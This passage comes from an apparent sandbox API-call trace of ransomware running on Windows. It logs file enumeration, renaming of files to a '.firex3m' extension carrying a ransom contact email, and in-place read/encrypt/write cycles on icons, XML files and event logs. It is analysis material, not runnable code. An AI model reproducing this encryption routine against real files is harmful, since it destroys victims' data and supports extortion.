lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.879] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x37e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Rotate3.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RO109D~1.FIR")) returned 0x6d4f40 [0093.879] FindClose (in: hFindFile=0x6d4f40 | out: hFindFile=0x6d4f40) returned 1 [0093.879] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\rotate3.ico.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0093.879] GetProcessHeap () returned 0x630000 [0093.879] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x381) returned 0x6a3bf0 [0093.879] GetProcessHeap () returned 0x630000 [0093.879] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x381) returned 0x6672f8 [0093.879] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.879] ReadFile (in: hFile=0x688, lpBuffer=0x6a3bf0, nNumberOfBytesToRead=0x360, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6a3bf0*, lpNumberOfBytesRead=0x573ff0c*=0x360, lpOverlapped=0x0) returned 1 [0093.884] GetProcessHeap () returned 0x630000 [0093.884] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8dc0 [0093.884] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.884] WriteFile (in: hFile=0x688, lpBuffer=0x6672f8*, nNumberOfBytesToWrite=0x360, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6672f8*, lpNumberOfBytesWritten=0x573ff0c*=0x360, lpOverlapped=0x0) returned 1 [0093.884] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.884] WriteFile (in: hFile=0x688, lpBuffer=0x667657*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x667657*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0093.884] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.884] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0093.884] CloseHandle (hObject=0x688) returned 1 [0093.886] GetProcessHeap () returned 0x630000 [0093.886] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6672f8 | out: hHeap=0x630000) returned 1 [0093.886] GetProcessHeap () returned 0x630000 [0093.886] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6a3bf0 | out: hHeap=0x630000) returned 1 [0093.886] GetProcessHeap () returned 0x630000 [0093.886] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8dc0 | out: hHeap=0x630000) returned 1 [0093.886] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.886] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Rotate3.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xfde74d6c, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x3a2, dwReserved0=0xa5c7496, dwReserved1=0x6a3be8, cFileName="Rotate3.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="RO109D~1.FIR")) returned 0x6d5440 [0093.886] FindClose (in: hFindFile=0x6d5440 | out: hFindFile=0x6d5440) returned 1 [0093.886] Sleep (dwMilliseconds=0x1) [0093.904] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\588bce7c90097ed212\\Graphics\\Print.ico", len=0x28 | out: pbstr=0x573ff7c*="C:\\588bce7c90097ed212\\Graphics\\Print.ico") returned 1 [0093.904] GetProcessHeap () returned 0x630000 [0093.904] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5340, Size=0x34) returned 0x6d5040 [0093.904] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0093.904] CloseHandle (hObject=0x694) returned 1 [0093.904] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.905] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico"), lpNewFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.905] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.905] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xbd82ba00, ftLastWriteTime.dwHighDateTime=0x1ca2a28, nFileSizeHigh=0x0, nFileSizeLow=0x47e, dwReserved0=0x0, dwReserved1=0x0, cFileName="Print.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PRINTI~1.FIR")) returned 0x6d5500 [0093.905] FindClose (in: hFindFile=0x6d5500 | out: hFindFile=0x6d5500) returned 1 [0093.905] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\graphics\\print.ico.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x694 [0093.905] GetProcessHeap () returned 0x630000 [0093.905] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x481) returned 0x6ff1840 [0093.906] GetProcessHeap () returned 0x630000 [0093.906] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x481) returned 0x6868e0 [0093.906] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.906] ReadFile (in: hFile=0x694, lpBuffer=0x6ff1840, nNumberOfBytesToRead=0x460, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6ff1840*, lpNumberOfBytesRead=0x573ff0c*=0x460, lpOverlapped=0x0) returned 1 [0093.928] GetProcessHeap () returned 0x630000 [0093.928] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6e8ca8 [0093.928] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.928] WriteFile (in: hFile=0x694, lpBuffer=0x6868e0*, nNumberOfBytesToWrite=0x460, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6868e0*, lpNumberOfBytesWritten=0x573ff0c*=0x460, lpOverlapped=0x0) returned 1 [0093.928] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.928] WriteFile (in: hFile=0x694, lpBuffer=0x686d3f*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x686d3f*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0093.928] SetFilePointerEx (in: hFile=0x694, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.928] WriteFile (in: hFile=0x694, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0093.928] CloseHandle (hObject=0x694) returned 1 [0093.929] GetProcessHeap () returned 0x630000 [0093.929] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6868e0 | out: hHeap=0x630000) returned 1 [0093.929] GetProcessHeap () returned 0x630000 [0093.929] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6ff1840 | out: hHeap=0x630000) returned 1 [0093.929] GetProcessHeap () returned 0x630000 [0093.929] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6e8ca8 | out: hHeap=0x630000) returned 1 [0093.929] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.930] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Graphics\\Print.ico.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xbd82ba00, ftCreationTime.dwHighDateTime=0x1ca2a28, ftLastAccessTime.dwLowDateTime=0xbd82ba00, ftLastAccessTime.dwHighDateTime=0x1ca2a28, ftLastWriteTime.dwLowDateTime=0xfdee73bb, ftLastWriteTime.dwHighDateTime=0x1d5e216, nFileSizeHigh=0x0, nFileSizeLow=0x4a2, dwReserved0=0xa5c7496, dwReserved1=0x6ff1838, cFileName="Print.ico.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PRINTI~1.FIR")) returned 0x6d53c0 [0093.930] FindClose (in: hFindFile=0x6d53c0 | out: hFindFile=0x6d53c0) returned 1 [0093.930] Sleep (dwMilliseconds=0x1) [0093.936] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml", len=0x30 | out: pbstr=0x573ff7c*="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml") returned 1 [0093.936] GetProcessHeap () returned 0x630000 [0093.936] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5040, Size=0x30) returned 0x66c1b0 [0093.936] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0093.936] CloseHandle (hObject=0x688) returned 1 [0093.936] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0093.937] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml"), lpNewFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0093.937] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0093.937] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x2a714f00, ftLastWriteTime.dwHighDateTime=0x1cac6f0, nFileSizeHigh=0x0, nFileSizeLow=0x16c82, dwReserved0=0x0, dwReserved1=0x0, cFileName="Parameterinfo.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PARAME~1.FIR")) returned 0x6d5280 [0093.938] FindClose (in: hFindFile=0x6d5280 | out: hFindFile=0x6d5280) returned 1 [0093.938] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\588bce7c90097ed212\\extended\\parameterinfo.xml.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x688 [0093.938] GetProcessHeap () returned 0x630000 [0093.938] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f34058 [0093.938] GetProcessHeap () returned 0x630000 [0093.938] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x6f3f488 [0093.938] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0093.938] ReadFile (in: hFile=0x688, lpBuffer=0x6f34058, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f34058*, lpNumberOfBytesRead=0x573ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0101.573] GetProcessHeap () returned 0x630000 [0101.573] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6feeda0 [0101.574] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.574] WriteFile (in: hFile=0x688, lpBuffer=0x6f3f488*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f3f488*, lpNumberOfBytesWritten=0x573ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0101.575] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.575] WriteFile (in: hFile=0x688, lpBuffer=0x6f4a887*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6f4a887*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0101.588] SetFilePointerEx (in: hFile=0x688, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0101.588] WriteFile (in: hFile=0x688, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0101.588] CloseHandle (hObject=0x688) returned 1 [0101.592] GetProcessHeap () returned 0x630000 [0101.592] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f3f488 | out: hHeap=0x630000) returned 1 [0101.596] GetProcessHeap () returned 0x630000 [0101.596] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6f34058 | out: hHeap=0x630000) returned 1 [0101.598] GetProcessHeap () returned 0x630000 [0101.598] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6feeda0 | out: hHeap=0x630000) returned 1 [0101.598] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0101.599] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\Extended\\Parameterinfo.xml.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2a714f00, ftCreationTime.dwHighDateTime=0x1cac6f0, ftLastAccessTime.dwLowDateTime=0x2a714f00, ftLastAccessTime.dwHighDateTime=0x1cac6f0, ftLastWriteTime.dwLowDateTime=0x28135ed, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x16ca6, dwReserved0=0xa5c7496, dwReserved1=0x6f34050, cFileName="Parameterinfo.xml.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="PARAME~1.FIR")) returned 0x6d4e40 [0101.599] FindClose (in: hFindFile=0x6d4e40 | out: hFindFile=0x6d4e40) returned 1 [0101.600] Sleep (dwMilliseconds=0x1) [0102.216] Sleep (dwMilliseconds=0x1) [0102.432] Sleep (dwMilliseconds=0x1) [0102.616] Sleep (dwMilliseconds=0x1) [0102.886] Sleep (dwMilliseconds=0x1) [0102.999] Sleep (dwMilliseconds=0x1) [0103.186] Sleep (dwMilliseconds=0x1) [0103.304] Sleep (dwMilliseconds=0x1) [0103.549] Sleep (dwMilliseconds=0x1) [0104.609] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx", len=0x31 | out: pbstr=0x573ff7c*="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx") returned 1 [0104.609] GetProcessHeap () returned 0x630000 [0104.609] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x6d5440, Size=0x34) returned 0x6d5240 [0104.609] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0104.609] CloseHandle (hObject=0x68c) returned 1 [0104.651] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef10, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3m") returned 48 [0104.651] MoveFileW (lpExistingFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx"), lpNewFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-1998248312_[contact-support@elude.in].firex3m")) returned 1 [0104.652] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0104.653] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fc6c | out: lpFindFileData=0x573fc6c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0xd96d7ac9, ftLastWriteTime.dwHighDateTime=0x1d1a04f, nFileSizeHigh=0x0, nFileSizeLow=0x101000, dwReserved0=0x0, dwReserved1=0x0, cFileName="Microsoft-Windows-SettingSync%4Debug.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIDCB5~1.FIR")) returned 0x6d5580 [0104.653] FindClose (in: hFindFile=0x6d5580 | out: hFindFile=0x6d5580) returned 1 [0104.653] CreateFileW (lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-1998248312_[contact-support@elude.in].firex3m" (normalized: "c:\\logs\\microsoft-windows-settingsync%4debug.evtx.id-1998248312_[contact-support@elude.in].firex3m"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x68c [0104.653] GetProcessHeap () returned 0x630000 [0104.653] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70de188 [0104.654] GetProcessHeap () returned 0x630000 [0104.654] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0xb421) returned 0x70e95b8 [0104.654] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0104.654] ReadFile (in: hFile=0x68c, lpBuffer=0x70de188, nNumberOfBytesToRead=0xb400, lpNumberOfBytesRead=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70de188*, lpNumberOfBytesRead=0x573ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.675] GetProcessHeap () returned 0x630000 [0112.675] RtlAllocateHeap (HeapHandle=0x630000, Flags=0x0, Size=0x10a) returned 0x6fee4e0 [0112.675] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.675] WriteFile (in: hFile=0x68c, lpBuffer=0x70e95b8*, nNumberOfBytesToWrite=0xb400, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70e95b8*, lpNumberOfBytesWritten=0x573ff0c*=0xb400, lpOverlapped=0x0) returned 1 [0112.676] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0112.676] WriteFile (in: hFile=0x68c, lpBuffer=0x70f49b7*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x70f49b7*, lpNumberOfBytesWritten=0x573ff0c*=0x20, lpOverlapped=0x0) returned 1 [0113.667] SetFilePointerEx (in: hFile=0x68c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0113.667] WriteFile (in: hFile=0x68c, lpBuffer=0x6b1120*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x573ff0c, lpOverlapped=0x0 | out: lpBuffer=0x6b1120*, lpNumberOfBytesWritten=0x573ff0c*=0x4, lpOverlapped=0x0) returned 1 [0113.667] CloseHandle (hObject=0x68c) returned 1 [0113.702] GetProcessHeap () returned 0x630000 [0113.702] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70e95b8 | out: hHeap=0x630000) returned 1 [0113.703] GetProcessHeap () returned 0x630000 [0113.703] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x70de188 | out: hHeap=0x630000) returned 1 [0113.707] GetProcessHeap () returned 0x630000 [0113.707] HeapFree (in: hHeap=0x630000, dwFlags=0x0, lpMem=0x6fee4e0 | out: hHeap=0x630000) returned 1 [0113.707] MultiByteToWideChar (in: CodePage=0x3, dwFlags=0x0, lpMultiByteStr=0x69b6e0, cbMultiByte=48, lpWideCharStr=0x573ef08, cchWideChar=2047 | out: lpWideCharStr="id-1998248312_[contact-support@elude.in].firex3mex3m") returned 48 [0113.707] FindFirstFileW (in: lpFileName="C:\\Logs\\Microsoft-Windows-SettingSync%4Debug.evtx.id-1998248312_[contact-support@elude.in].firex3m", lpFindFileData=0x573fcc4 | out: lpFindFileData=0x573fcc4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd1fe2941, ftCreationTime.dwHighDateTime=0x1d1a04e, ftLastAccessTime.dwLowDateTime=0xd1fe2941, ftLastAccessTime.dwHighDateTime=0x1d1a04e, ftLastWriteTime.dwLowDateTime=0x9b8698f, ftLastWriteTime.dwHighDateTime=0x1d5e217, nFileSizeHigh=0x0, nFileSizeLow=0x101024, dwReserved0=0xa5c7496, dwReserved1=0x70de180, cFileName="Microsoft-Windows-SettingSync%4Debug.evtx.id-1998248312_[contact-support@elude.in].firex3m", cAlternateFileName="MIDCB5~1.FIR")) returned 0x6d5240 [0113.707] FindClose (in: hFindFile=0x6d5240 | out: hFindFile=0x6d5240) returned 1 [0113.707] Sleep (dwMilliseconds=0x1) [0114.303] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml", len=0x3d | out: pbstr=0x573ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml") returned 1 [0114.303] GetProcessHeap () returned 0x630000 [0114.303] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x64a3b8, Size=0x44) returned 0x649f58 [0114.303] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\ink\\ipscat.xml" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\ipscat.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0114.304] Sleep (dwMilliseconds=0x1) [0114.882] Sleep (dwMilliseconds=0x1) [0115.142] Sleep (dwMilliseconds=0x1) [0115.442] SysReAllocStringLen (in: pbstr=0x573ff7c*=0x0, psz="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg", len=0x4a | out: pbstr=0x573ff7c*="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg") returned 1 [0115.442] GetProcessHeap () returned 0x630000 [0115.442] RtlReAllocateHeap (Heap=0x630000, Flags=0x0, Ptr=0x699888, Size=0x24) returned 0x699b58 [0115.442] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\microsoft shared\\Stationery\\GreenBubbles.jpg" (normalized: "c:\\program files\\common files\\microsoft shared\\stationery\\greenbubbles.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, 